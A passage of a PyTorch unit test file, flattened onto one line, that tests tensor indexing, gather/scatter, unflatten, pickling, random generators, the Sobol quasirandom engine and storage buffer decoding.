2))) with self.assertRaises(IndexError): reference[1, 1, 1, 1] = 1 with self.assertRaises(IndexError): reference[1, 1, 1, (1, 1)] = 1 with self.assertRaises(IndexError): reference[3, 3, 3, 3, 3, 3, 3, 3] = 1 with self.assertRaises(IndexError): reference[0.0] = 1 with self.assertRaises(TypeError): reference[0.0:2.0] = 1 with self.assertRaises(IndexError): reference[0.0, 0.0:2.0] = 1 with self.assertRaises(IndexError): reference[0.0, :, 0.0:2.0] = 1 with self.assertRaises(IndexError): reference[0.0, ..., 0.0:2.0] = 1 with self.assertRaises(IndexError): reference[0.0, :, 0.0] = 1 def test_index_add(self): for device in torch.testing.get_all_device_types(): for dest_contig, src_contig, index_contig in product([True, False], repeat=3): for other_sizes in ((), (4, 5)): for dtype in [torch.int, torch.long]: num_copy, num_dest = 3, 3 dest = torch.randn(num_dest, *other_sizes, device=device) if not dest_contig: dest = torch.testing.make_non_contiguous(dest) src = torch.randn(num_copy, *other_sizes, device=device) if not src_contig: src = torch.testing.make_non_contiguous(src) idx = torch.randperm(num_dest, dtype=dtype, device=device).narrow(0, 0, num_copy) if not index_contig: idx = torch.testing.make_non_contiguous(idx) # index_add_ without alpha argument dest2 = dest.clone() dest.index_add_(0, idx, src) for i in range(idx.size(0)): dest2[idx[i]] += src[i] self.assertEqual(dest, dest2) # index_add_ with alpha argument dest2 = dest.clone() dest.index_add_(0, idx, src, alpha=2) for i in range(idx.size(0)): dest2[idx[i]] += src[i] * 2 self.assertEqual(dest, dest2) # add coverage for issue with atomic add that appeared only for # specific dtypes on cuda: # https://github.com/pytorch/pytorch/issues/29153 def test_index_add_all_dtypes(self): for device in torch.testing.get_all_device_types(): for dtype in get_all_math_dtypes(device): for idx_dtype in [torch.int, torch.long]: size = [5, 5] if dtype.is_floating_point or dtype.is_complex: tensor = torch.rand(size, dtype=dtype, device=device) elif dtype.is_signed: tensor = torch.randint(-5, 15, size, dtype=dtype, device=device) else: tensor = torch.randint(0, 10, size, dtype=dtype, device=device) # index_add calls atomicAdd on cuda. zeros = torch.zeros(size, dtype=dtype, device=device) added = zeros.index_add(0, torch.arange(0, size[0], dtype=idx_dtype, device=device), tensor) self.assertEqual(added, tensor) added = zeros.index_add(0, torch.arange(0, size[0], dtype=idx_dtype, device=device), tensor, alpha=-1) self.assertEqual(added, -tensor) # Fill idx with valid indices. @staticmethod def _fill_indices(self, idx, dim, dim_size, elems_per_row, m, n, o): for i in range(1 if dim == 0 else m): for j in range(1 if dim == 1 else n): for k in range(1 if dim == 2 else o): ii = [i, j, k] ii[dim] = slice(0, idx.size(dim) + 1) idx[tuple(ii)] = torch.randperm(dim_size)[0:elems_per_row] def test_unflatten(self): # test args: tensor, int, sizes self.assertEqual(torch.tensor([]).unflatten(0, (0, 1)), torch.empty(0, 1)) self.assertEqual(torch.tensor([1]).unflatten(0, (1, 1)), torch.tensor([[1]])) self.assertEqual(torch.tensor([1, 2, 3, 4]).unflatten(0, (2, 2)), torch.tensor([[1, 2], [3, 4]])) self.assertEqual(torch.tensor([1, 2, 3, 4]).unflatten(0, [2, 2]), torch.tensor([[1, 2], [3, 4]])) self.assertEqual(torch.tensor([1, 2, 3, 4]).unflatten(0, torch.Size([2, 2])), torch.tensor([[1, 2], [3, 4]])) self.assertEqual(torch.ones(2, 10).unflatten(1, (5, 2)), torch.ones(2, 5, 2)) self.assertEqual(torch.tensor([1, 2, 3, 4]).unflatten(0, (-1, 2)), torch.tensor([[1, 2], [3, 4]])) self.assertEqual(torch.ones(2, 10).unflatten(1, (5, -1)), torch.ones(2, 5, 2)) self.assertEqual(torch.ones(2, 10).unflatten(1, (-1,)), torch.ones(2, 10)) self.assertEqual(torch.ones(2, 3 * 4 * 5 * 6).unflatten(1, (3, 4, -1, 6)), torch.ones(2, 3, 4, 5, 6)) self.assertEqual(torch.ones(2, 0, 2).unflatten(1, (3, -1, 4, 5)), torch.ones(2, 3, 0, 4, 5, 2)) # test invalid args: tensor, str, sizes with self.assertRaisesRegex(TypeError, r"received an invalid combination of arguments"): torch.tensor([1]).unflatten('A', (1, 1)) # test invalid args: tensor, str, namedshape with self.assertRaisesRegex(RuntimeError, r"Name 'A' not found in Tensor\[None\]."): torch.ones(4).unflatten('A', (('A', 2), ('B', 2))) # test other invalid arguments with self.assertRaisesRegex(RuntimeError, r"sizes must be non-empty"): torch.tensor([1]).unflatten(0, []) with self.assertRaisesRegex(RuntimeError, r"Provided sizes \[2, 2\] don't multiply up to the size of dim 0 \(1\)"): torch.tensor([1]).unflatten(0, [2, 2]) with self.assertRaisesRegex(IndexError, r"dimension specified as 0 but tensor has no dimensions"): torch.tensor(1).unflatten(0, [0]) with self.assertRaisesRegex(RuntimeError, r"only one dimension can be inferred"): torch.randn(5, 10).unflatten(1, (-1, -1)) with self.assertRaisesRegex(RuntimeError, r"Provided sizes \[-1, 4\] don't multiply up to the size of dim 1 \(10\)"): torch.randn(5, 10).unflatten(1, (-1, 4)) with self.assertRaisesRegex(RuntimeError, r"the unspecified dimension size -1 can be any value and is ambiguous"): torch.randn(2, 0).unflatten(1, (2, -1, 0)) @staticmethod def _test_gather(self, cast, test_bounds=True): m, n, o = random.randint(10, 20), random.randint(10, 20), random.randint(10, 20) elems_per_row = random.randint(1, 10) dim = random.randrange(3) for dtype in {torch.float32, torch.complex64, torch.complex128}: src = torch.randn(m, n, o, dtype=dtype) idx_size = [m, n, o] idx_size[dim] = elems_per_row idx = torch.LongTensor().resize_(*idx_size) AbstractTestCases._TestTorchMixin._fill_indices(self, idx, dim, src.size(dim), elems_per_row, m, n, o) src = cast(src) idx = cast(idx) actual = torch.gather(src, dim, idx) expected = cast(torch.zeros(idx_size, dtype=dtype)) for i in range(idx_size[0]): for j in range(idx_size[1]): for k in range(idx_size[2]): ii = [i, j, k] ii[dim] = idx[i, j, k] expected[i, j, k] = src[tuple(ii)] self.assertEqual(actual, expected, atol=0, rtol=0) bad_src = torch.randn(*[i - 1 for i in idx_size]) self.assertRaises(RuntimeError, lambda: torch.gather(bad_src, dim, idx)) # should throw an error when index dtype is not long with self.assertRaisesRegex(RuntimeError, 'Expected dtype int64 for index'): torch.gather(src, dim, idx.to(torch.int)) # should throw an error when out.dtype != src.dtype. # Note that on Windows, the out tensor's dtype is returned as: struct c10::complex<double> in the error # message, hence the use of .* in regex here with self.assertRaisesRegex(RuntimeError, 'Expected out tensor to have dtype .*c10::complex<double>, but got int instead'): torch.gather(src.to(torch.complex128), dim, idx, out=expected.to(torch.int)) # checks for the same dimensionality with self.assertRaisesRegex(RuntimeError, 'Index tensor must have the same number of dimensions as input tensor'): torch.gather(src, dim, idx.unsqueeze(-1)) with self.assertRaisesRegex(RuntimeError, 'Index tensor must have the same number of dimensions as input tensor'): torch.gather(src.unsqueeze(-1), dim, idx) if test_bounds: idx[0][0][0] = 23 self.assertRaises(RuntimeError, lambda: torch.gather(src, dim, idx)) src = cast(torch.randn(3, 4, 5)) expected, idx = src.max(2, True) expected = cast(expected) idx = cast(idx) actual = torch.gather(src, 2, idx) self.assertEqual(actual, expected, atol=0, rtol=0) # Bool test case t = torch.tensor([[False, True], [True, True]]) self.assertEqual(torch.gather(t, 1, torch.tensor([[0, 0], [1, 0]])), torch.tensor([[False, False], [True, True]])) def test_gather(self): self._test_gather(self, lambda t: t) @staticmethod def _test_scatter_add_mult_index_base(self, cast): m, n = 30, 40 idx = torch.zeros(m, n).long() src = torch.ones(m, n) res0 = torch.zeros(m, n).scatter_add_(0, idx, src) res1 = torch.zeros(m, n).scatter_add_(1, idx, src) self.assertEqual(res0[0, :], m * torch.ones(n), atol=0, rtol=0) self.assertEqual(res1[:, 0], n * torch.ones(m), atol=0, rtol=0) def test_scatter_add_mult_index(self): self._test_scatter_add_mult_index_base(self, lambda t: t) @staticmethod def _test_scatter_base(self, cast, method, is_scalar=False, test_bounds=True, reduction=None, *, test_complex=False): if test_complex: dtypes = [torch.complex64, torch.complex128] else: dtypes = [torch.float16, torch.float32, torch.float64] for dtype in dtypes: m, n, o = random.randint(10, 20), random.randint(10, 20), random.randint(10, 20) elems_per_row = random.randint(1, 10) dim = random.randrange(3) idx_size = [m, n, o] idx_size[dim] = elems_per_row idx = cast(torch.LongTensor().resize_(*idx_size)) AbstractTestCases._TestTorchMixin._fill_indices(self, idx, dim, ([m, n, o])[dim], elems_per_row, m, n, o) src_size = [random.randint(1, 5) + s for s in idx_size] if is_scalar: src = random.random() else: src = cast(torch.randn(src_size, dtype=dtype)) base = cast(torch.randn(m, n, o, dtype=dtype)) if reduction: actual = getattr(base.clone(), method)(dim, idx, src, reduce=reduction) else: actual = getattr(base.clone(), method)(dim, idx, src) expected = base.clone() for i in range(idx_size[0]): for j in range(idx_size[1]): for k in range(idx_size[2]): ii = [i, j, k] ii[dim] = idx[i, j, k] if method == 'scatter_add_': expected[tuple(ii)] += src[i, j, k] else: # method may be 'scatter_' or 'scatter' # both might have a reduction argument value = src if is_scalar else src[i, j, k] if reduction == "add": expected[tuple(ii)] += value elif reduction == "multiply": expected[tuple(ii)] *= value else: expected[tuple(ii)] = value self.assertEqual(actual, expected, atol=0, rtol=0) # should throw an error when self.dtype != src.dtype. # we ignore the case when src is Scalar, as it gets # cast via src.to<scalar_t>. if not is_scalar: with self.assertRaisesRegex(RuntimeError, 'Expected self.dtype to be equal to src.dtype'): getattr(base.clone().type(torch.int), method)(dim, idx, src) with self.assertRaisesRegex(RuntimeError, 'Expected self.dtype to be equal to src.dtype'): getattr(base.clone(), method)(dim, idx, src.type(torch.int)) # should throw an error when index dtype is not long with self.assertRaisesRegex(RuntimeError, 'Expected dtype int64 for index'): getattr(base.clone(), method)(dim, idx.type(torch.int), src) # check for the same dimensionality with self.assertRaisesRegex(RuntimeError, 'Index tensor must have the same number of dimensions as self tensor'): getattr(base.clone().unsqueeze(-1), method)(dim, idx, src) with self.assertRaisesRegex(RuntimeError, 'Index tensor must have the same number of dimensions as self tensor'): getattr(base.clone(), method)(dim, idx.unsqueeze(-1), src) if not is_scalar: with self.assertRaisesRegex(RuntimeError, 'Index tensor must have the same number of dimensions as src tensor'): getattr(base.clone(), method)(dim, idx, src.unsqueeze(-1)) if test_bounds: idx[0][0][0] = 34 with self.assertRaises(RuntimeError): if reduction: getattr(base.clone(), method)(dim, idx, src, reduce=reduction) else: getattr(base.clone(), method)(dim, idx, src) # test for empty index, should be a no-op idx = cast(torch.LongTensor()) if reduction: actual = getattr(base.clone(), method)(dim, idx, src, reduce=reduction) else: actual = getattr(base.clone(), method)(dim, idx, src) self.assertEqual(actual, base, atol=0, rtol=0) def test_scatter(self): self._test_scatter_base(self, lambda t: t, 'scatter_') def test_scatterAdd(self): self._test_scatter_base(self, lambda t: t, 'scatter_add_') def test_scatterFill(self): self._test_scatter_base(self, lambda t: t, 'scatter_', True) def test_scatterReduce(self): for method in ["add", "multiply"]: self._test_scatter_base(self, lambda t: t, 'scatter_', reduction=method) self._test_scatter_base(self, lambda t: t, 'scatter_', True, reduction=method) def test_structseq_repr(self): a = torch.arange(250).reshape(5, 5, 10) expected = """ torch.return_types.max( values=tensor([[ 40, 41, 42, 43, 44, 45, 46, 47, 48, 49], [ 90, 91, 92, 93, 94, 95, 96, 97, 98, 99], [140, 141, 142, 143, 144, 145, 146, 147, 148, 149], [190, 191, 192, 193, 194, 195, 196, 197, 198, 199], [240, 241, 242, 243, 244, 245, 246, 247, 248, 249]]), indices=tensor([[4, 4, 4, 4, 4, 4, 4, 4, 4, 4], [4, 4, 4, 4, 4, 4, 4, 4, 4, 4], [4, 4, 4, 4, 4, 4, 4, 4, 4, 4], [4, 4, 4, 4, 4, 4, 4, 4, 4, 4], [4, 4, 4, 4, 4, 4, 4, 4, 4, 4]]))""" self.assertEqual(repr(a.max(1)), textwrap.dedent(expected).strip()) def test_is_same_size(self): t1 = torch.empty(3, 4, 9, 10) t2 = torch.empty(3, 4) t3 = torch.empty(1, 9, 3, 3) t4 = torch.empty(3, 4, 9, 10) self.assertFalse(t1.is_same_size(t2)) self.assertFalse(t1.is_same_size(t3)) self.assertTrue(t1.is_same_size(t4)) def test_tensor_set(self): t1 = torch.tensor([]) t2 = torch.empty(3, 4, 9, 10).uniform_() t1.set_(t2) self.assertEqual(t1.storage()._cdata, t2.storage()._cdata) size = torch.Size([9, 3, 4, 10]) t1.set_(t2.storage(), 0, size) self.assertEqual(t1.size(), size) t1.set_(t2.storage(), 0, tuple(size)) self.assertEqual(t1.size(), size) self.assertEqual(t1.stride(), (120, 40, 10, 1)) stride = (10, 360, 90, 1) t1.set_(t2.storage(), 0, size, stride) self.assertEqual(t1.stride(), stride) t1.set_(t2.storage(), 0, size=size, stride=stride) self.assertEqual(t1.size(), size) self.assertEqual(t1.stride(), stride) # test argument names t1 = torch.tensor([]) # 1. case when source is tensor t1.set_(source=t2) self.assertEqual(t1.storage()._cdata, t2.storage()._cdata) # 2. case when source is storage t1.set_(source=t2.storage()) self.assertEqual(t1.storage()._cdata, t2.storage()._cdata) # 3. case when source is storage, and other args also specified t1.set_(source=t2.storage(), storage_offset=0, size=size, stride=stride) self.assertEqual(t1.size(), size) self.assertEqual(t1.stride(), stride) t1 = torch.tensor([True, True], dtype=torch.bool) t2 = torch.tensor([False, False], dtype=torch.bool) t1.set_(t2) self.assertEqual(t1.storage()._cdata, t2.storage()._cdata) def test_tensor_set_errors(self): f_cpu = torch.randn((2, 3), dtype=torch.float32) d_cpu = torch.randn((2, 3), dtype=torch.float64) # change dtype self.assertRaises(RuntimeError, lambda: f_cpu.set_(d_cpu.storage())) self.assertRaises(RuntimeError, lambda: f_cpu.set_(d_cpu.storage(), 0, d_cpu.size(), d_cpu.stride())) self.assertRaises(RuntimeError, lambda: f_cpu.set_(d_cpu)) # change device if torch.cuda.is_available(): f_cuda = torch.randn((2, 3), dtype=torch.float32, device='cuda') # cpu -> cuda self.assertRaises(RuntimeError, lambda: f_cpu.set_(f_cuda.storage())) self.assertRaises(RuntimeError, lambda: f_cpu.set_(f_cuda.storage(), 0, f_cuda.size(), f_cuda.stride())) self.assertRaises(RuntimeError, lambda: f_cpu.set_(f_cuda)) # cuda -> cpu self.assertRaises(RuntimeError, lambda: f_cuda.set_(f_cpu.storage())) self.assertRaises(RuntimeError, lambda: f_cuda.set_(f_cpu.storage(), 0, f_cpu.size(), f_cpu.stride())) self.assertRaises(RuntimeError, lambda: f_cuda.set_(f_cpu)) def test_equal(self): # Contiguous, 1D t1 = torch.tensor((3., 4., 9., 10.)) t2 = t1.contiguous() t3 = torch.tensor((1., 9., 3., 10.)) t4 = torch.tensor((3., 4., 9.)) t5 = torch.tensor([]) self.assertTrue(t1.equal(t2)) self.assertFalse(t1.equal(t3)) self.assertFalse(t1.equal(t4)) self.assertFalse(t1.equal(t5)) self.assertTrue(torch.equal(t1, t2)) self.assertFalse(torch.equal(t1, t3)) self.assertFalse(torch.equal(t1, t4)) self.assertFalse(torch.equal(t1, t5)) # Non contiguous, 2D s = torch.tensor(((1, 2, 3, 4), (5, 6, 7, 8))) s1 = s[:, 1:3] s2 = s1.clone() s3 = torch.tensor(((2, 3), (6, 7))) s4 = torch.tensor(((0, 0), (0, 0))) self.assertFalse(s1.is_contiguous()) self.assertTrue(s1.equal(s2)) self.assertTrue(s1.equal(s3)) self.assertFalse(s1.equal(s4)) self.assertTrue(torch.equal(s1, s2)) self.assertTrue(torch.equal(s1, s3)) self.assertFalse(torch.equal(s1, s4)) def test_element_size(self): byte = torch.ByteStorage().element_size() char = torch.CharStorage().element_size() short = torch.ShortStorage().element_size() int = torch.IntStorage().element_size() long = torch.LongStorage().element_size() float = torch.FloatStorage().element_size() double = torch.DoubleStorage().element_size() bool = torch.BoolStorage().element_size() bfloat16 = torch.BFloat16Storage().element_size() complexfloat = torch.ComplexFloatStorage().element_size() complexdouble = torch.ComplexDoubleStorage().element_size() self.assertEqual(byte, torch.ByteTensor().element_size()) self.assertEqual(char, torch.CharTensor().element_size()) self.assertEqual(short, torch.ShortTensor().element_size()) self.assertEqual(int, torch.IntTensor().element_size()) self.assertEqual(long, torch.LongTensor().element_size()) self.assertEqual(float, torch.FloatTensor().element_size()) self.assertEqual(double, torch.DoubleTensor().element_size()) self.assertEqual(bool, torch.BoolTensor().element_size()) self.assertEqual(bfloat16, torch.tensor([], dtype=torch.bfloat16).element_size()) self.assertEqual(complexfloat, torch.tensor([], dtype=torch.complex64).element_size()) self.assertEqual(complexdouble, torch.tensor([], dtype=torch.complex128).element_size()) self.assertGreater(byte, 0) self.assertGreater(char, 0) self.assertGreater(short, 0) self.assertGreater(int, 0) self.assertGreater(long, 0) self.assertGreater(float, 0) self.assertGreater(double, 0) self.assertGreater(bool, 0) self.assertGreater(bfloat16, 0) self.assertGreater(complexfloat, 0) self.assertGreater(complexdouble, 0) # These tests are portable, not necessarily strict for your system. self.assertEqual(byte, 1) self.assertEqual(char, 1) self.assertEqual(bool, 1) self.assertGreaterEqual(short, 2) self.assertGreaterEqual(int, 2) self.assertGreaterEqual(int, short) self.assertGreaterEqual(long, 4) self.assertGreaterEqual(long, int) self.assertGreaterEqual(double, float) def test_permute(self): orig = [1, 2, 3, 4, 5, 6, 7] perm = torch.randperm(7).tolist() x = torch.empty(*orig).fill_(0) new = [i - 1 for i in x.permute(*perm).size()] self.assertEqual(perm, new) self.assertEqual(x.size(), orig) def test_reversed(self): val = torch.arange(0, 10) self.assertEqual(reversed(val), torch.arange(9, -1, -1)) val = torch.arange(1, 10).view(3, 3) self.assertEqual(reversed(val), torch.tensor([[7, 8, 9], [4, 5, 6], [1, 2, 3]])) val = torch.tensor(42) self.assertEqual(reversed(val), torch.tensor(42)) def test_contains(self): x = torch.arange(0, 10) self.assertEqual(4 in x, True) self.assertEqual(12 in x, False) x = torch.arange(1, 10).view(3, 3) val = torch.arange(1, 4) self.assertEqual(val in x, True) val += 10 self.assertEqual(val in x, False) self.assertRaisesRegex( RuntimeError, "Tensor.__contains__ only supports Tensor or scalar, but you passed in a {}.".format(type("foo")), lambda: "foo" in x) self.assertRaisesRegex( RuntimeError, "Tensor.__contains__ only supports Tensor or scalar, but you passed in a {}.".format(type([1, 2])), lambda: [1, 2] in x) def test_deepcopy_parameter(self): from copy import deepcopy l = torch.nn.Linear(10, 1) s = l.state_dict(keep_vars=True) self.assertEqual(torch.nn.Parameter, type(s['weight'])) self.assertEqual(torch.nn.Parameter, type(s['bias'])) s2 = deepcopy(s) self.assertEqual(torch.nn.Parameter, type(s2['weight'])) self.assertEqual(torch.nn.Parameter, type(s2['bias'])) def test_pickle(self): import pickle a = torch.randn(5, 5) serialized = pickle.dumps(a) b = pickle.loads(serialized) self.assertEqual(a, b) def test_pickle_parameter(self): import pickle a = torch.nn.Parameter(torch.randn(5, 5)) serialized = pickle.dumps(a) b = pickle.loads(serialized) self.assertTrue(isinstance(b, torch.nn.Parameter)) self.assertEqual(a.requires_grad, b.requires_grad) self.assertEqual(a, b) def test_pickle_parameter_no_requires_grad(self): import pickle a = torch.nn.Parameter(torch.randn(5, 5), requires_grad=False) serialized = pickle.dumps(a) b = pickle.loads(serialized) self.assertTrue(isinstance(b, torch.nn.Parameter)) self.assertEqual(a.requires_grad, b.requires_grad) self.assertEqual(a, b) def test_pickle_dtype(self): t = torch.float32 serialized = pickle.dumps(t) b = pickle.loads(serialized) self.assertTrue(isinstance(b, torch.dtype)) self.assertEqual(id(b), id(t)) def test_pickle_size(self): a = torch.rand(10).size() serialized = pickle.dumps(a) b = pickle.loads(serialized) self.assertTrue(isinstance(b, torch.Size)) self.assertEqual(a, b) def test_pickle_function(self): # https://github.com/pytorch/pytorch/issues/37703 a = torch.tanh serialized = pickle.dumps(a) b = pickle.loads(serialized) self.assertEqual(a, b) def test_generator_cpu(self): # test default generators are equal self.assertEqual(torch.default_generator, torch.default_generator) # tests Generator API # manual_seed, seed, initial_seed, get_state, set_state g1 = torch.Generator() g2 = torch.Generator() g1.manual_seed(12345) g2.manual_seed(12345) self.assertEqual(g1.initial_seed(), g2.initial_seed()) g1.seed() g2.seed() self.assertNotEqual(g1.initial_seed(), g2.initial_seed()) g1 = torch.Generator() g2_state = g2.get_state() g2_randn = torch.randn(1, generator=g2) g1.set_state(g2_state) g1_randn = torch.randn(1, generator=g1) self.assertEqual(g1_randn, g2_randn) default_state = torch.default_generator.get_state() q = torch.empty(100) g1_normal = q.normal_() g2 = torch.Generator() g2.set_state(default_state) g2_normal = q.normal_(generator=g2) self.assertEqual(g1_normal, g2_normal) def test_invalid_generator_raises(self): self.assertRaises(RuntimeError, lambda: torch.Generator('opengl')) def _sobol_reference_samples(self, scramble: bool) -> torch.Tensor: if not scramble: # theoretical values from Joe Kuo 2010 return torch.tensor( [ [0., 0.], [0.5, 0.5], [0.75, 0.25], [0.25, 0.75], [0.375, 0.375], [0.875, 0.875], [0.625, 0.125], [0.125, 0.625], ], ) else: # theoretical values unknown: convergence properties checked return torch.tensor( [ [0.50860737, 0.29320504], [0.07116939, 0.89594537], [0.49354145, 0.11524881], [0.93097717, 0.70244044], [0.87266153, 0.23887917], [0.31021884, 0.57600391], [0.13687253, 0.42054182], [0.69931293, 0.77336788], ], ) def test_sobolengine_bounds(self, scramble: bool = False): engine = torch.quasirandom.SobolEngine(100, scramble=scramble, seed=123456) sample = engine.draw(512) self.assertTrue(torch.all(sample >= 0)) self.assertTrue(torch.all(sample <= 1)) def test_sobolengine_bounds_scrambled(self): self.test_sobolengine_bounds(scramble=True) def test_sobolengine_draw(self, scramble: bool = False): ref_sample = self._sobol_reference_samples(scramble=scramble) engine = torch.quasirandom.SobolEngine(2, scramble=scramble, seed=123456) sample = engine.draw(n=len(ref_sample)) self.assertEqual(sample, ref_sample) self.assertEqual(engine.num_generated, len(ref_sample)) def test_sobolengine_draw_scrambled(self): self.test_sobolengine_draw(scramble=True) def test_sobolengine_first_point(self): for dtype in (torch.float, torch.double): engine = torch.quasirandom.SobolEngine(2, scramble=False) sample = engine.draw(1, dtype=dtype) self.assertTrue(torch.all(sample == 0)) self.assertEqual(sample.dtype, dtype) for dtype in (torch.float, torch.double): engine = torch.quasirandom.SobolEngine(2, scramble=True, seed=123456) sample = engine.draw(1, dtype=dtype) self.assertTrue(torch.all(sample != 0)) self.assertEqual(sample.dtype, dtype) def test_sobolengine_continuing(self, scramble: bool = False): ref_sample = self._sobol_reference_samples(scramble=scramble) engine = torch.quasirandom.SobolEngine(2, scramble=scramble, seed=123456) n_half = len(ref_sample) // 2 _ = engine.draw(n=n_half) sample = engine.draw(n=n_half) torch.testing.assert_close(sample, ref_sample[n_half:]) def test_sobolengine_continuing_scrambled(self): self.test_sobolengine_continuing(scramble=True) def test_sobolengine_reset(self, scramble: bool = False): ref_sample = self._sobol_reference_samples(scramble=scramble) engine = torch.quasirandom.SobolEngine(2, scramble=scramble, seed=123456) _ = engine.draw(n=len(ref_sample) // 2) engine.reset() self.assertEqual(engine.num_generated, 0) sample = engine.draw(n=len(ref_sample)) torch.testing.assert_close(sample, ref_sample) def test_sobolengine_reset_scrambled(self): self.test_sobolengine_reset(scramble=True) def test_sobolengine_fast_forward(self, scramble: bool = False): ref_sample = self._sobol_reference_samples(scramble=scramble) engine = torch.quasirandom.SobolEngine(2, scramble=scramble, seed=123456) engine.fast_forward(4) sample = engine.draw(n=4) torch.testing.assert_close(sample, ref_sample[4:]) # alternate fast forwarding with sampling engine.reset() even_draws = [] for i in range(8): if i % 2 == 0: even_draws.append(engine.draw()) else: engine.fast_forward(1) torch.testing.assert_close( ref_sample[[i for i in range(8) if i % 2 == 0]], torch.from_numpy(np.concatenate(even_draws)), ) def test_sobolengine_fast_forward_scrambled(self): self.test_sobolengine_fast_forward(scramble=True) def test_sobolengine_distribution(self, scramble=False): d = 50 engine = torch.quasirandom.SobolEngine(d, scramble=scramble, seed=123456) sample = engine.draw(1024) torch.testing.assert_close( torch.mean(sample, dim=0), torch.full((d,), 0.5), atol=2, rtol=2 ) torch.testing.assert_close( np.percentile(sample, 25, axis=0), np.repeat(0.25, d), atol=2, rtol=2 ) torch.testing.assert_close( np.percentile(sample, 75, axis=0), np.repeat(0.75, d), atol=2, rtol=2 ) def test_sobolengine_distribution_scrambled(self): self.test_sobolengine_distribution(scramble=True) def test_sobolengine_draw_base2(self, scramble=False): ref_sample = self._sobol_reference_samples(scramble=scramble) engine = torch.quasirandom.SobolEngine(2, scramble=scramble, seed=123456) sample = engine.draw_base2(2) self.assertEqual(ref_sample[:4], sample) # resampling still having N=2**n sample = engine.draw_base2(2) self.assertEqual(ref_sample[4:8], sample) def test_sobolengine_draw_base2_scrambled(self): self.test_sobolengine_draw_base2(scramble=True) def test_sobolengine_raise(self): maxdim = torch.quasirandom.SobolEngine.MAXDIM with self.assertRaises(ValueError): torch.quasirandom.SobolEngine(maxdim + 1) def test_sobolengine_high_dim(self): engine = torch.quasirandom.SobolEngine(1111, scramble=False, seed=123456) samples1 = engine.draw() vals1, counts1 = torch.unique(samples1, return_counts=True) samples2 = engine.draw() vals2, counts2 = torch.unique(samples2, return_counts=True) self.assertEqual(vals1.item(), 0.0) self.assertEqual(counts1.item(), 1111) self.assertEqual(vals2.item(), 0.5) self.assertEqual(counts1.item(), 1111) def test_parsing_int64(self): # accepts integer arguments x = torch.cumsum(torch.ones(5, 5), 0) self.assertEqual(x, torch.cumsum(torch.ones(5, 5), torch.tensor(0))) # doesn't accept floating point variables self.assertRaises(TypeError, lambda: torch.cumsum(torch.ones(5, 5), torch.tensor(0.))) def test_parsing_double(self): # accepts floating point and integer arguments x = torch.randn(2, 3) torch.isclose(x, x, 1, 1) self.assertTrue(torch.isclose(x, x, 1, 1).all()) self.assertTrue(torch.isclose(x, x, 1.5, 1.).all()) # accepts floating point and integer tensors self.assertTrue(torch.isclose(x, x, torch.tensor(1), torch.tensor(1)).all()) self.assertTrue(torch.isclose(x, x, torch.tensor(1.5), torch.tensor(1.)).all()) # doesn't accept variables with requires_grad self.assertRaises(TypeError, lambda: torch.isclose(x, x, torch.tensor(1.5), torch.tensor(1., requires_grad=True)).all()) def test_parsing_intlist(self): # parse with integer variables self.assertEqual(torch.Size([3, 4]), torch.ones((torch.tensor(3), torch.tensor(4))).shape) self.assertEqual(torch.Size([3, 4]), torch.ones(torch.tensor(3), torch.tensor(4)).shape) # parse with numpy integers self.assertEqual(torch.Size([3, 4]), torch.ones((np.array(3), np.int64(4))).shape) self.assertEqual(torch.Size([3, 4]), torch.ones(np.array(3), np.int64(4)).shape) self.assertEqual(torch.Size([3, 4]), torch.ones((np.int64(3), np.array(4))).shape) self.assertEqual(torch.Size([3, 4]), torch.ones(np.int64(3), np.array(4)).shape) # fail parse with float variables self.assertRaises(TypeError, lambda: torch.ones((torch.tensor(3.), torch.tensor(4)))) # fail parse with numpy floats self.assertRaises(TypeError, lambda: torch.ones((np.float(3.), torch.tensor(4)))) self.assertRaises(TypeError, lambda: torch.ones((np.array(3.), torch.tensor(4)))) # fail parse with > 1 element variables self.assertRaises(TypeError, lambda: torch.ones(torch.tensor(3, 3))) self.assertRaises(TypeError, lambda: torch.ones((torch.tensor(3, 3)))) self.assertRaises(TypeError, lambda: torch.ones(np.array(3, 3))) self.assertRaises(TypeError, lambda: torch.ones((np.array(3, 3)))) # fail parse with additional positional args after intlist arg self.assertRaisesRegex(TypeError, "received an invalid combination of arguments", lambda: torch.LongTensor((6, 0), 1, 1, 0)) self.assertRaisesRegex(TypeError, "missing 1 required positional arguments", lambda: torch.tensor().new_zeros((5, 5), 0)) def test_half_tensor(self): devices = ["cpu"] if torch.cuda.is_available(): devices.append("cuda") # contiguous tensor # non-contiguous tensor # dense non-overlapping tensor # non-dense non-overlapping sliced tensor # non-dense overlapping equal strides for device in devices: tset = ( torch.randn(4, 3, 2, device=device, dtype=torch.float).contiguous(), torch.randn(4, 3, 2, device=device, dtype=torch.float).transpose(0, 1), torch.randn(4, 3, 2, device=device, dtype=torch.float), torch.randn(4, 3, 2, device=device, dtype=torch.float)[:, :, ::2], torch.empty_strided( (4, 2, 3), (10, 3, 3), device=device, dtype=torch.float ).copy_(torch.rand((4, 2, 3), dtype=torch.float, device=device)), ) for x in tset: self.assertEqual(x.half().float(), x, atol=1e-3, rtol=0) xh = x.half() with tempfile.NamedTemporaryFile() as f: torch.save(xh, f) f.seek(0) xh2 = torch.load(f) self.assertEqual(xh.float(), xh2.float()) def test_from_buffer(self): a = bytearray([1, 2, 3, 4]) self.assertEqual(torch.ByteStorage.from_buffer(a).tolist(), [1, 2, 3, 4]) shorts = torch.ShortStorage.from_buffer(a, 'big') self.assertEqual(shorts.size(), 2) self.assertEqual(shorts.tolist(), [258, 772]) ints = torch.IntStorage.from_buffer(a, 'little') self.assertEqual(ints.size(), 1) self.assertEqual(ints[0], 67305985) f = bytearray([0x40, 0x10, 0x00, 0x00]) floats = torch.FloatStorage.from_buffer(f, 'big') self.assertEqual(floats.size(), 1) self.assertEqual(floats[0], 2.25) f = bytearray([0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x10, 0x40]) bools = torch.BoolStorage.from_buffer(f, 'big') self.assertEqual(bools.size(), 8) self.assertEqual(bools.tolist(), [False, True, True, True, True, True, True, True]) self.assertEqual(bools.type(), 'torch.BoolStorage') f = bytearray(b'\x80\x02\x8a\nl\xfc\x9cF\xf9 j\xa8P\x19.\x80\x02M\xe9') bools = torch.BoolStorage.from_buffer(f, 'big') self.assertEqual(bools.size(), 19) f = bytearray(b'\0x4A') bools = torch.BoolStorage.from_buffer(f, 'big') self.assertEqual(bools.size(), 4) self.assertEqual(bools.tolist(), [False, True, True, True]) def test_storage_casts(self): storage = torch.IntStorage([-1, 0, 1, 2, 3, 4]) self.assertEqual(storage.size(), 6) self.assertEqual(storage.tolist(), [-1, 0, 1, 2, 3, 4]) 